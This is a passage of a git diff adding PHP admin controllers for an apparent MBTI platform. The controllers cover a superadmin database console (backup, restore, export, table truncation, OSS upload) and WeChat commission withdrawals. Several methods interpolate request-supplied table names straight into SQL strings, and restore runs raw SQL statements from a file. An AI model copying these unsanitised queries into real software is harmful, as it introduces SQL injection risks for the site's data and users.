JwtService::refreshToken($token); + + if (!$newToken) { + return error('Token无效或已过期', 401); + } + + return success([ + 'token' => $newToken, + 'expiresIn' => config('jwt.expire') + ], '刷新成功'); + } +} + diff --git a/api/app/controller/superadmin/Database.php b/api/app/controller/superadmin/Database.php new file mode 100644 index 0000000..9b6044e --- /dev/null +++ b/api/app/controller/superadmin/Database.php @@ -0,0 +1,750 @@ +request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + // 获取数据库配置 + $config = Config::get('database.connections.mysql'); + $database = $config['database'] ?? ''; + + // 获取数据库大小 + $dbSize = $this->getDatabaseSize($database); + + // 获取表数量 + $tableCount = $this->getTableCount($database); + + // 获取连接状态 + try { + Db::query('SELECT 1'); + $connected = true; + } catch (\Exception $e) { + $connected = false; + } + + return success([ + 'databaseType' => 'MySQL', + 'databaseName' => $database, + 'connected' => $connected, + 'databaseSize' => $dbSize, + 'tableCount' => $tableCount + ]); + } catch (\Exception $e) { + return error('获取数据库信息失败:' . $e->getMessage(), 500); + } + } + + /** + * 获取表列表 + * @return \think\response\Json + */ + public function tables() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $config = Config::get('database.connections.mysql'); + $database = $config['database'] ?? ''; + $prefix = $config['prefix'] ?? 'mbti_'; + + // 获取所有表 + $tables = Db::query("SHOW TABLE STATUS FROM `{$database}`"); + + $result = []; + foreach ($tables as $table) { + $tableName = $table['Name']; + + // 只显示带前缀的表(或者所有表) + if (empty($prefix) || strpos($tableName, $prefix) === 0) { + // 获取记录数 + $rowCount = Db::query("SELECT COUNT(*) as count FROM `{$tableName}`")[0]['count'] ?? 0; + + // 获取索引数 + $indexes = Db::query("SHOW INDEX FROM `{$tableName}`"); + $indexCount = count(array_unique(array_column($indexes, 'Key_name'))); + + $result[] = [ + 'name' => $tableName, + 'docCount' => intval($rowCount), + 'size' => intval($table['Data_length'] + $table['Index_length']), + 'indexCount' => $indexCount, + 'engine' => $table['Engine'] ?? '', + 'collation' => $table['Collation'] ?? '' + ]; + } + } + + return success($result); + } catch (\Exception $e) { + return error('获取表列表失败:' . $e->getMessage(), 500); + } + } + + /** + * 查看表数据 + * @return \think\response\Json + */ + public function viewTable() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $tableName = Request::param('table', ''); + $page = Request::param('page', 1); + $pageSize = Request::param('pageSize', 20); + + if (empty($tableName)) { + return error('表名不能为空', 400); + } + + try { + // 验证表是否存在 + $config = Config::get('database.connections.mysql'); + $database = $config['database'] ?? ''; + $tables = Db::query("SHOW TABLES FROM `{$database}` LIKE '{$tableName}'"); + + if (empty($tables)) { + return error('表不存在', 404); + } + + // 获取表结构 + $columns = Db::query("SHOW COLUMNS FROM `{$tableName}`"); + + // 获取数据 + $total = Db::name(str_replace($config['prefix'] ?? 'mbti_', '', $tableName))->count(); + $list = Db::name(str_replace($config['prefix'] ?? 'mbti_', '', $tableName)) + ->page($page, $pageSize) + ->select() + ->toArray(); + + return success([ + 'columns' => $columns, + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize + ]); + } catch (\Exception $e) { + return error('查看表数据失败:' . $e->getMessage(), 500); + } + } + + /** + * 导出表数据 + * @return \think\response\Json + */ + public function exportTable() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $tableName = Request::param('table', ''); + + if (empty($tableName)) { + return error('表名不能为空', 400); + } + + try { + // 生成SQL导出文件 + $backupDir = root_path() . 'runtime/backup/'; + if (!is_dir($backupDir)) { + mkdir($backupDir, 0755, true); + } + + $filename = $tableName . '_' . date('YmdHis') . '.sql'; + $filepath = $backupDir . $filename; + + $this->exportTableToSql($tableName, $filepath); + + return success([ + 'filename' => $filename, + 'filepath' => $filepath, + 'downloadUrl' => '/api/v1/superadmin/database/download?file=' . urlencode($filename) + ], '导出成功'); + } catch (\Exception $e) { + return error('导出表数据失败:' . $e->getMessage(), 500); + } + } + + /** + * 清空表数据 + * @return \think\response\Json + */ + public function clearTable() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $tableName = Request::param('table', ''); + + if (empty($tableName)) { + return error('表名不能为空', 400); + } + + try { + // 验证表是否存在 + $config = Config::get('database.connections.mysql'); + $database = $config['database'] ?? ''; + $tables = Db::query("SHOW TABLES FROM `{$database}` LIKE '{$tableName}'"); + + if (empty($tables)) { + return error('表不存在', 404); + } + + // 清空表 + Db::execute("TRUNCATE TABLE `{$tableName}`"); + + return success(null, '表数据已清空'); + } catch (\Exception $e) { + return error('清空表数据失败:' . $e->getMessage(), 500); + } + } + + /** + * 备份数据库 + * @return \think\response\Json + */ + public function backup() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $config = Config::get('database.connections.mysql'); + $host = $config['hostname'] ?? 'localhost'; + $port = $config['hostport'] ?? 3306; + $database = $config['database'] ?? ''; + $username = $config['username'] ?? ''; + $password = $config['password'] ?? ''; + + // 创建备份目录 + $backupDir = root_path() . 'runtime/backup/'; + if (!is_dir($backupDir)) { + mkdir($backupDir, 0755, true); + } + + $filename = 'backup_' . $database . '_' . date('YmdHis') . '.sql'; + $filepath = $backupDir . $filename; + + // 优先使用PHP方式备份(更可靠) + $this->backupDatabase($database, $filepath); + + // 如果文件不存在或为空,尝试使用mysqldump + if (!file_exists($filepath) || filesize($filepath) == 0) { + $mysqldumpPath = $this->findMysqldump(); + + if ($mysqldumpPath) { + // 使用mysqldump命令 + $command = sprintf( + '"%s" -h%s -P%s -u%s -p%s %s > "%s" 2>&1', + $mysqldumpPath, + escapeshellarg($host), + escapeshellarg($port), + escapeshellarg($username), + escapeshellarg($password), + escapeshellarg($database), + escapeshellarg($filepath) + ); + + exec($command, $output, $returnVar); + + if ($returnVar !== 0) { + throw new \Exception('mysqldump执行失败: ' . implode("\n", $output)); + } + } + } + + // 获取文件大小 + $fileSize = filesize($filepath); + + // 上传到OSS + $ossUrl = null; + $ossPath = null; + try { + $ossResult = $this->uploadBackupToOss($filepath, $filename); + if ($ossResult) { + $ossUrl = $ossResult['url']; + $ossPath = $ossResult['path']; + } + } catch (\Exception $e) { + // OSS上传失败不影响备份成功,只记录错误 + Log::error('备份文件上传OSS失败:' . $e->getMessage()); + } + + // 记录备份信息 + $this->saveBackupRecord($filename, $filepath, $fileSize, $ossUrl, $ossPath); + + return success([ + 'filename' => $filename, + 'filepath' => $filepath, + 'size' => $fileSize, + 'time' => date('Y-m-d H:i:s'), + 'ossUrl' => $ossUrl, + 'ossPath' => $ossPath, + 'downloadUrl' => '/api/v1/superadmin/database/download?file=' . urlencode($filename) + ], '备份成功' . ($ossUrl ? ',已上传到OSS' : '')); + } catch (\Exception $e) { + return error('备份失败:' . $e->getMessage(), 500); + } + } + + /** + * 获取备份记录列表 + * @return \think\response\Json + */ + public function backups() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + // 从数据库读取备份记录 + $records = BackupRecordModel::order('createdAt', 'desc')->select()->toArray(); + + $backups = []; + foreach ($records as $record) { + $backups[] = [ + 'id' => $record['id'], + 'filename' => $record['filename'], + 'time' => date('Y-m-d\TH:i:s', $record['createdAt']), + 'size' => intval($record['fileSize']), + 'status' => $record['status'] ?? 'success', + 'ossUrl' => $record['ossUrl'] ?? null, + 'ossPath' => $record['ossPath'] ?? null, + 'filepath' => $record['filepath'] ?? null + ]; + } + + return success($backups); + } catch (\Exception $e) { + return error('获取备份记录失败:' . $e->getMessage(), 500); + } + } + + /** + * 删除备份记录(软删除) + * @return \think\response\Json + */ + public function delete() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + // 支持从路由参数或请求参数获取ID + $id = Request::param('id', 0) ?: Request::route('id', 0); + + if (empty($id)) { + return error('记录ID不能为空', 400); + } + + try { + $record = BackupRecordModel::find($id); + + if (!$record) { + return error('备份记录不存在', 404); + } + + // 软删除(ThinkPHP的SoftDelete会自动设置deletedAt) + $record->delete(); + + return success(null, '备份记录已删除'); + } catch (\Exception $e) { + return error('删除失败:' . $e->getMessage(), 500); + } + } + + /** + * 下载备份文件 + */ + public function download() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $filename = Request::param('file', ''); + + if (empty($filename)) { + return error('文件名不能为空', 400); + } + + // 安全检查:只允许下载备份目录下的文件 + $backupDir = root_path() . 'runtime/backup/'; + $filepath = realpath($backupDir . $filename); + + if (!$filepath || strpos($filepath, realpath($backupDir)) !== 0) { + return error('文件不存在', 404); + } + + if (!file_exists($filepath)) { + return error('文件不存在', 404); + } + + // 下载文件 + header('Content-Type: application/octet-stream'); + header('Content-Disposition: attachment; filename="' . $filename . '"'); + header('Content-Length: ' . filesize($filepath)); + readfile($filepath); + exit; + } + + /** + * 恢复数据库 + * @return \think\response\Json + */ + public function restore() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $filename = Request::param('file', ''); + + if (empty($filename)) { + return error('文件名不能为空', 400); + } + + try { + $backupDir = root_path() . 'runtime/backup/'; + $filepath = realpath($backupDir . $filename); + + if (!$filepath || strpos($filepath, realpath($backupDir)) !== 0) { + return error('文件不存在', 404); + } + + if (!file_exists($filepath)) { + return error('文件不存在', 404); + } + + $config = Config::get('database.connections.mysql'); + $host = $config['hostname'] ?? 'localhost'; + $port = $config['hostport'] ?? 3306; + $database = $config['database'] ?? ''; + $username = $config['username'] ?? ''; + $password = $config['password'] ?? ''; + + // 使用PHP方式恢复 + $this->restoreDatabase($filepath); + + return success(null, '数据库恢复成功'); + } catch (\Exception $e) { + return error('恢复失败:' . $e->getMessage(), 500); + } + } + + /** + * 获取数据库大小 + */ + private function getDatabaseSize($database) + { + try { + $result = Db::query("SELECT + ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS size_mb + FROM information_schema.tables + WHERE table_schema = '{$database}'"); + + return floatval($result[0]['size_mb'] ?? 0); + } catch (\Exception $e) { + return 0; + } + } + + /** + * 获取表数量 + */ + private function getTableCount($database) + { + try { + $result = Db::query("SELECT COUNT(*) as count FROM information_schema.tables WHERE table_schema = '{$database}'"); + return intval($result[0]['count'] ?? 0); + } catch (\Exception $e) { + return 0; + } + } + + /** + * 导出表到SQL文件 + */ + private function exportTableToSql($tableName, $filepath) + { + $fp = fopen($filepath, 'w'); + + // 写入表结构 + $createTable = Db::query("SHOW CREATE TABLE `{$tableName}`"); + fwrite($fp, "-- 表结构: {$tableName}\n"); + fwrite($fp, "DROP TABLE IF EXISTS `{$tableName}`;\n"); + fwrite($fp, $createTable[0]['Create Table'] . ";\n\n"); + + // 写入数据 + $data = Db::query("SELECT * FROM `{$tableName}`"); + if (!empty($data)) { + fwrite($fp, "-- 表数据: {$tableName}\n"); + foreach ($data as $row) { + $values = []; + foreach ($row as $value) { + $values[] = is_null($value) ? 'NULL' : "'" . addslashes($value) . "'"; + } + fwrite($fp, "INSERT INTO `{$tableName}` VALUES (" . implode(', ', $values) . ");\n"); + } + } + + fclose($fp); + } + + /** + * 备份数据库(PHP方式) + */ + private function backupDatabase($database, $filepath) + { + $fp = fopen($filepath, 'w'); + + // 写入文件头 + fwrite($fp, "-- MySQL数据库备份\n"); + fwrite($fp, "-- 数据库: {$database}\n"); + fwrite($fp, "-- 备份时间: " . date('Y-m-d H:i:s') . "\n"); + fwrite($fp, "SET NAMES utf8mb4;\n"); + fwrite($fp, "SET FOREIGN_KEY_CHECKS = 0;\n\n"); + + // 获取所有表 + $tables = Db::query("SHOW TABLES FROM `{$database}`"); + $tableKey = 'Tables_in_' . $database; + + foreach ($tables as $table) { + $tableName = $table[$tableKey]; + + // 写入表结构 + $createTable = Db::query("SHOW CREATE TABLE `{$tableName}`"); + if (!empty($createTable)) { + fwrite($fp, "-- ----------------------------\n"); + fwrite($fp, "-- Table structure for {$tableName}\n"); + fwrite($fp, "-- ----------------------------\n"); + fwrite($fp, "DROP TABLE IF EXISTS `{$tableName}`;\n"); + fwrite($fp, $createTable[0]['Create Table'] . ";\n\n"); + + // 写入数据 + $data = Db::query("SELECT * FROM `{$tableName}`"); + if (!empty($data)) { + fwrite($fp, "-- ----------------------------\n"); + fwrite($fp, "-- Records of {$tableName}\n"); + fwrite($fp, "-- ----------------------------\n"); + + foreach ($data as $row) { + $columns = []; + $values = []; + foreach ($row as $col => $val) { + $columns[] = "`{$col}`"; + $values[] = is_null($val) ? 'NULL' : "'" . addslashes($val) . "'"; + } + fwrite($fp, "INSERT INTO `{$tableName}` (" . implode(', ', $columns) . ") VALUES (" . implode(', ', $values) . ");\n"); + } + fwrite($fp, "\n"); + } + } + } + + fwrite($fp, "SET FOREIGN_KEY_CHECKS = 1;\n"); + fclose($fp); + } + + /** + * 恢复数据库(PHP方式) + */ + private function restoreDatabase($filepath) + { + $sql = file_get_contents($filepath); + + // 分割SQL语句 + $statements = array_filter(array_map('trim', explode(';', $sql))); + + foreach ($statements as $statement) { + if (!empty($statement)) { + Db::execute($statement); + } + } + } + + /** + * 查找mysqldump路径 + */ + private function findMysqldump() + { + $paths = [ + '/usr/bin/mysqldump', + '/usr/local/bin/mysqldump', + 'C:\\mysql\\bin\\mysqldump.exe', + 'C:\\xampp\\mysql\\bin\\mysqldump.exe', + 'mysqldump' + ]; + + foreach ($paths as $path) { + if (is_executable($path) || shell_exec("which {$path}")) { + return $path; + } + } + + return null; + } + + /** + * 查找mysql路径 + */ + private function findMysql() + { + $paths = [ + '/usr/bin/mysql', + '/usr/local/bin/mysql', + 'C:\\mysql\\bin\\mysql.exe', + 'C:\\xampp\\mysql\\bin\\mysql.exe', + 'mysql' + ]; + + foreach ($paths as $path) { + if (is_executable($path) || shell_exec("which {$path}")) { + return $path; + } + } + + return null; + } + + /** + * 上传备份文件到OSS + * @param string $filepath 本地文件路径 + * @param string $filename 文件名 + * @return array|null 返回OSS URL和路径,失败返回null + */ + private function uploadBackupToOss($filepath, $filename) + { + if (!class_exists('\OSS\OssClient')) { + throw new \RuntimeException('未安装 Aliyun OSS SDK,请先执行:composer require aliyuncs/oss-sdk-php'); + } + + // 读取OSS配置 + $uploadConfig = Config::get('upload.oss'); + + $accessKeyId = $uploadConfig['access_key_id'] ?? ''; + $accessKeySecret = $uploadConfig['access_key_secret'] ?? ''; + $endpoint = $uploadConfig['endpoint'] ?? ''; + $bucket = $uploadConfig['bucket'] ?? ''; + $baseUrl = rtrim($uploadConfig['url'] ?? '', '/'); + + // 如果配置为空,尝试从环境变量读取 + if (empty($accessKeyId)) { + $accessKeyId = getenv('OSS_ACCESS_KEY_ID') ?: getenv('ALIYUN_ACCESS_KEY_ID') ?: env('OSS_ACCESS_KEY_ID', env('ALIYUN_ACCESS_KEY_ID', '')); + } + if (empty($accessKeySecret)) { + $accessKeySecret = getenv('OSS_ACCESS_KEY_SECRET') ?: getenv('ALIYUN_OSS_ACCESS_KEY_SECRET') ?: env('OSS_ACCESS_KEY_SECRET', env('ALIYUN_OSS_ACCESS_KEY_SECRET', '')); + } + if (empty($endpoint)) { + $endpoint = getenv('OSS_ENDPOINT') ?: getenv('ALIYUN_OSS_ENDPOINT') ?: env('OSS_ENDPOINT', env('ALIYUN_OSS_ENDPOINT', '')); + } + if (empty($bucket)) { + $bucket = getenv('OSS_BUCKET') ?: getenv('ALIYUN_OSS_BUCKET') ?: env('OSS_BUCKET', env('ALIYUN_OSS_BUCKET', '')); + } + if (empty($baseUrl)) { + $baseUrl = rtrim(getenv('OSS_URL') ?: getenv('ALIYUN_OSS_URL') ?: env('OSS_URL', env('ALIYUN_OSS_URL', '')), '/'); + } + + // 检查配置是否完整 + if (empty($accessKeyId) || empty($accessKeySecret) || empty($endpoint) || empty($bucket) || empty($baseUrl)) { + throw new \RuntimeException('OSS配置不完整,无法上传备份文件'); + } + + // 构建OSS对象路径(不使用OSS_PREFIX,直接使用backup目录) + // 格式:backup/2026/02/12/backup_mbti_20260212160100.sql + $datePath = date('Y/m/d'); + $object = 'backup/' . $datePath . '/' . $filename; + + try { + // 创建OSS客户端 + $client = new \OSS\OssClient($accessKeyId, $accessKeySecret, $endpoint); + + // 验证Bucket是否存在 + if (!$client->doesBucketExist($bucket)) { + throw new \RuntimeException("OSS Bucket '{$bucket}' 不存在或无法访问"); + } + + // 上传文件 + $client->uploadFile($bucket, $object, $filepath); + + // 生成访问URL + $url = $baseUrl . '/' . ltrim($object, '/'); + + return [ + 'url' => $url, + 'path' => $object + ]; + } catch (\OSS\Core\OssException $e) { + throw new \RuntimeException('OSS上传失败:' . $e->getMessage()); + } + } + + /** + * 保存备份记录 + */ + private function saveBackupRecord($filename, $filepath, $fileSize, $ossUrl = null, $ossPath = null) + { + try { + BackupRecordModel::create([ + 'filename' => $filename, + 'filepath' => $filepath, + 'fileSize' => $fileSize, + 'ossUrl' => $ossUrl, + 'ossPath' => $ossPath, + 'status' => 'success' + ]); + } catch (\Exception $e) { + // 记录保存失败不影响备份成功,只记录日志 + Log::error('保存备份记录失败:' . $e->getMessage()); + } + } +} + diff --git a/api/app/controller/superadmin/Distribution.php b/api/app/controller/superadmin/Distribution.php new file mode 100644 index 0000000..d566602 --- /dev/null +++ b/api/app/controller/superadmin/Distribution.php @@ -0,0 +1,433 @@ +whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0; + $paidCommission = Db::name('commission_records')->where('status', 'paid')->sum('commissionFen') ?: 0; + $frozenCommission = Db::name('commission_records')->where('status', 'frozen')->sum('commissionFen') ?: 0; + $totalOrders = Db::name('commission_records')->whereIn('status', ['paid', 'frozen'])->count(); + + $personalCommission = Db::name('commission_records')->where('scope', 'personal') + ->whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0; + $enterpriseCommission = Db::name('commission_records')->where('scope', 'enterprise') + ->whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0; + + $bindingCount = Db::name('distribution_bindings') + ->where('status', 'active') + ->where('expireAt', '>', $now) + ->count(); + + // 待处理提现:status=0 审核中 + $pendingWithdraw = Db::name('distribution_withdrawals') + ->where('status', 0) + ->sum('amountFen') ?: 0; + + $todayStart = strtotime(date('Y-m-d 00:00:00')); + $todayCommission = Db::name('commission_records') + ->where('status', 'paid') + ->where('paidAt', '>=', $todayStart) + ->sum('commissionFen') ?: 0; + + return success([ + 'totalCommission' => number_format($totalCommission / 100, 2, '.', ''), + 'paidCommission' => number_format($paidCommission / 100, 2, '.', ''), + 'frozenCommission' => number_format($frozenCommission / 100, 2, '.', ''), + 'personalCommission' => number_format($personalCommission / 100, 2, '.', ''), + 'enterpriseCommission'=> number_format($enterpriseCommission / 100, 2, '.', ''), + 'totalOrders' => $totalOrders, + 'bindingCount' => $bindingCount, + 'pendingWithdraw' => number_format($pendingWithdraw / 100, 2, '.', ''), + 'todayCommission' => number_format($todayCommission / 100, 2, '.', ''), + ]); + } catch (\Exception $e) { + return error('获取数据失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/bindings 全平台绑定记录 + // ───────────────────────────────────────────────────────────── + public function bindings() + { + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $scope = Request::param('scope', ''); + $status = Request::param('status', ''); + $enterpriseId = (int) Request::param('enterpriseId', 0); + + try { + $query = Db::name('distribution_bindings') + ->alias('b') + ->leftJoin('wechat_users inv', 'b.inviterId = inv.id') + ->leftJoin('wechat_users invt', 'b.inviteeId = invt.id') + ->leftJoin('enterprises e', 'b.enterpriseId = e.id') + ->field('b.*, inv.nickname as inviterName, invt.nickname as inviteeName, e.name as enterpriseName'); + + if ($scope) $query->where('b.scope', $scope); + if ($status) $query->where('b.status', $status); + if ($enterpriseId) $query->where('b.enterpriseId', $enterpriseId); + + $total = (clone $query)->count(); + $list = $query->order('b.updatedAt', 'desc')->page($page, $pageSize)->select()->toArray(); + + $now = time(); + foreach ($list as &$row) { + $row['remainDays'] = max(0, (int) ceil(($row['expireAt'] - $now) / 86400)); + $row['inviterName'] = $row['inviterName'] ?: '未知'; + $row['inviteeName'] = $row['inviteeName'] ?: '未知'; + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取绑定记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/commissions 全平台佣金记录 + // ───────────────────────────────────────────────────────────── + public function commissions() + { + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $scope = Request::param('scope', ''); + $status = Request::param('status', ''); + + try { + $query = Db::name('commission_records') + ->alias('c') + ->leftJoin('wechat_users inv', 'c.inviterId = inv.id') + ->leftJoin('wechat_users invt', 'c.inviteeId = invt.id') + ->leftJoin('enterprises e', 'c.enterpriseId = e.id') + ->field('c.*, inv.nickname as inviterName, invt.nickname as inviteeName, e.name as enterpriseName'); + + if ($scope) $query->where('c.scope', $scope); + if ($status) $query->where('c.status', $status); + + $total = (clone $query)->count(); + $list = $query->order('c.createdAt', 'desc')->page($page, $pageSize)->select()->toArray(); + + foreach ($list as &$row) { + $row['commissionYuan'] = number_format($row['commissionFen'] / 100, 2, '.', ''); + $row['orderYuan'] = number_format($row['orderAmount'] / 100, 2, '.', ''); + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取佣金记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/withdrawals 全平台提现申请 + // ───────────────────────────────────────────────────────────── + public function withdrawals() + { + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $status = Request::param('status', ''); + + try { + $query = Db::name('distribution_withdrawals') + ->alias('w') + ->leftJoin('wechat_users u', 'w.userId = u.id') + ->field('w.*, u.nickname, u.avatar'); + + if ($status !== '') { + // 支持字符串或数字,统一转 int + $query->where('w.status', (int)$status); + } + + $total = (clone $query)->count(); + $list = $query->order('w.createdAt', 'desc')->page($page, $pageSize)->select()->toArray(); + + foreach ($list as &$row) { + $row['amountYuan'] = number_format($row['amountFen'] / 100, 2, '.', ''); + $row['nickname'] = $row['nickname'] ?: '未知用户'; + + // 确保前端拿到的是数字 status(避免 '0' 和 0 比较异常) + $code = (int) ($row['status'] ?? 0); + $row['status'] = $code; + + // 统一后台状态文案:0审核中、1已驳回、2待收款、3已收款、4已过期 + switch ($code) { + case 0: + $row['statusLabel'] = '审核中'; + break; + case 1: + $row['statusLabel'] = '已驳回'; + break; + case 2: + $row['statusLabel'] = '待收款'; + break; + case 3: + $row['statusLabel'] = '已收款'; + break; + case 4: + $row['statusLabel'] = '已过期'; + break; + default: + $row['statusLabel'] = '未知'; + break; + } + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取提现记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // POST distribution/withdrawals/:id/approve 审核通过提现 + // ───────────────────────────────────────────────────────────── + public function approveWithdrawal(int $id) + { + $note = Request::param('note', ''); + $now = time(); + + $record = Db::name('distribution_withdrawals') + ->alias('w') + ->leftJoin('wechat_users u', 'w.userId = u.id') + ->field('w.*, u.openid') + ->where('w.id', $id) + ->find(); + // 仅允许处理审核中(status=0)的记录 + if (!$record || (int)$record['status'] !== 0) { + return error('提现申请不存在或已处理', 400); + } + + try { + // 生成商户单号:TX + 时间戳 + 随机数 + 提现ID(示例:TX202603121526520005123) + $outBillNo = 'TX' . date('YmdHis') . mt_rand(1000, 9999) . $record['id']; + + // 调用微信商家转账到零钱接口(参数对齐 ckb-admin Withdrawal::handleWechatPay) + $service = new \app\common\service\WechatTransferService(); + $result = $service->createTransfer([ + 'out_bill_no' => $outBillNo, + 'openid' => $record['openid'], + 'transfer_amount' => (int) $record['amountFen'], // 单位:分 + 'transfer_remark' => '推广佣金提现', + 'transfer_scene_id' => env('TRANSFER_SCENE_ID', '1005'), + 'transfer_scene_report_infos' => [ + [ + 'info_type' => '岗位类型', + 'info_content' => '推广人员', + ], + [ + 'info_type' => '报酬说明', + 'info_content' => '推广佣金提现', + ], + ], + 'notify_url' => env('WITHDRAW_NOTIFY_URL', ''), // 可选:提现专用回调 + ]); + + if ($result['success'] !== true) { + $err = $result['error'] ?? []; + $code = $err['code'] ?? 'UNKNOWN'; + $msg = $err['message'] ?? '微信转账接口调用失败'; + return error("微信转账发起失败({$code}):{$msg}", 500); + } + + $wechatData = $result['data'] ?? []; + Db::name('distribution_withdrawals')->where('id', $id)->update([ + // 2=待收款(已发起转账,等待用户确认) + 'status' => 2, + 'auditNote' => $note, + 'auditAt' => $now, + 'updatedAt' => $now, + 'pay_type' => 'wechat', + 'out_bill_no' => $outBillNo, + 'transfer_bill_no' => $wechatData['transfer_bill_no'] ?? null, + 'wechat_pay_state' => $wechatData['state'] ?? 'PROCESSING', + 'transfer_scene_id'=> $wechatData['transfer_scene_id'] ?? env('TRANSFER_SCENE_ID', '1005'), + 'package_info' => $wechatData['package_info'] ?? '', + 'mch_id' => env('MCH_ID', null), + ]); + return success(null, '审核通过,已发起微信转账'); + } catch (\Exception $e) { + return error('操作失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // POST distribution/withdrawals/:id/reject 拒绝提现 + // ───────────────────────────────────────────────────────────── + public function rejectWithdrawal(int $id) + { + $note = Request::param('note', ''); + $now = time(); + + $record = Db::name('distribution_withdrawals')->where('id', $id)->find(); + // 仅允许处理审核中(status=0)的记录 + if (!$record || (int)$record['status'] !== 0) { + return error('提现申请不存在或已处理', 400); + } + + Db::startTrans(); + try { + Db::name('wechat_users') + ->where('id', $record['userId']) + ->inc('walletBalance', $record['amountFen']) + ->update(['updatedAt' => $now]); + + Db::name('distribution_withdrawals')->where('id', $id)->update([ + // 1=已驳回 + 'status' => 1, + 'auditNote' => $note, + 'auditAt' => $now, + 'updatedAt' => $now, + ]); + + Db::commit(); + return success(null, '已拒绝,余额已退回'); + } catch (\Exception $e) { + Db::rollback(); + return error('操作失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/settings 个人版分销全局配置 + // ───────────────────────────────────────────────────────────── + public function settings() + { + try { + $config = Db::name('system_config')->where('key', 'distribution')->where('enterprise_id', 0)->find(); + $default = [ + 'enabled' => true, + 'promoCenterTitle' => '推广中心', + 'bindingDays' => 30, + 'minWithdrawFen' => 100, + 'maxWithdrawFen' => 0, + 'requireAudit' => true, + 'withdrawFee' => 0, + 'testSettings' => self::defaultTestSettings(), + ]; + if ($config && $config['value']) { + $settings = is_string($config['value']) ? json_decode($config['value'], true) : $config['value']; + $settings = array_merge($default, $settings ?? []); + } else { + $settings = $default; + } + $settings['minWithdraw'] = round((float)($settings['minWithdrawFen'] ?? 100) / 100, 2); + $settings['maxWithdraw'] = ($max = (int)($settings['maxWithdrawFen'] ?? 0)) > 0 ? round($max / 100, 2) : 0; + $settings['testSettings'] = self::appendTestSettingsAmount($settings['testSettings'] ?? self::defaultTestSettings()); + return success($settings); + } catch (\Exception $e) { + return error('获取配置失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // PUT distribution/settings 更新个人版分销全局配置 + // ───────────────────────────────────────────────────────────── + public function updateSettings() + { + $settings = Request::only([ + 'enabled', 'promoCenterTitle', 'bindingDays', + 'minWithdrawFen', 'minWithdraw', 'maxWithdrawFen', 'maxWithdraw', + 'requireAudit', 'withdrawFee', 'testSettings' + ]); + + $minWithdrawFen = isset($settings['minWithdraw']) + ? (int) round((float)$settings['minWithdraw'] * 100) + : (int)($settings['minWithdrawFen'] ?? 100); + $maxWithdrawFen = isset($settings['maxWithdraw']) + ? (int) round((float)$settings['maxWithdraw'] * 100) + : (int)($settings['maxWithdrawFen'] ?? 0); + $minWithdrawFen = max(100, min(20000, $minWithdrawFen)); + $maxWithdrawFen = $maxWithdrawFen > 0 ? min(20000, max(100, $maxWithdrawFen)) : 0; + + $promoTitle = trim((string)($settings['promoCenterTitle'] ?? '')); + $toSave = [ + 'enabled' => (bool)($settings['enabled'] ?? true), + 'promoCenterTitle' => $promoTitle !== '' ? $promoTitle : '推广中心', + 'bindingDays' => (int)($settings['bindingDays'] ?? 30), + 'minWithdrawFen' => $minWithdrawFen, + 'maxWithdrawFen' => $maxWithdrawFen, + 'requireAudit' => isset($settings['requireAudit']) ? (bool)$settings['requireAudit'] : true, + 'withdrawFee' => max(0, min(100, (float)($settings['withdrawFee'] ?? 0))), + 'testSettings' => self::sanitizeTestSettings($settings['testSettings'] ?? null), + ]; + + try { + $now = time(); + $existing = Db::name('system_config')->where('key', 'distribution')->where('enterprise_id', 0)->find(); + if ($existing) { + Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', 0) + ->update(['value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), 'updatedAt' => $now]); + } else { + Db::name('system_config')->insert([ + 'key' => 'distribution', + 'enterprise_id' => 0, + 'value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), + 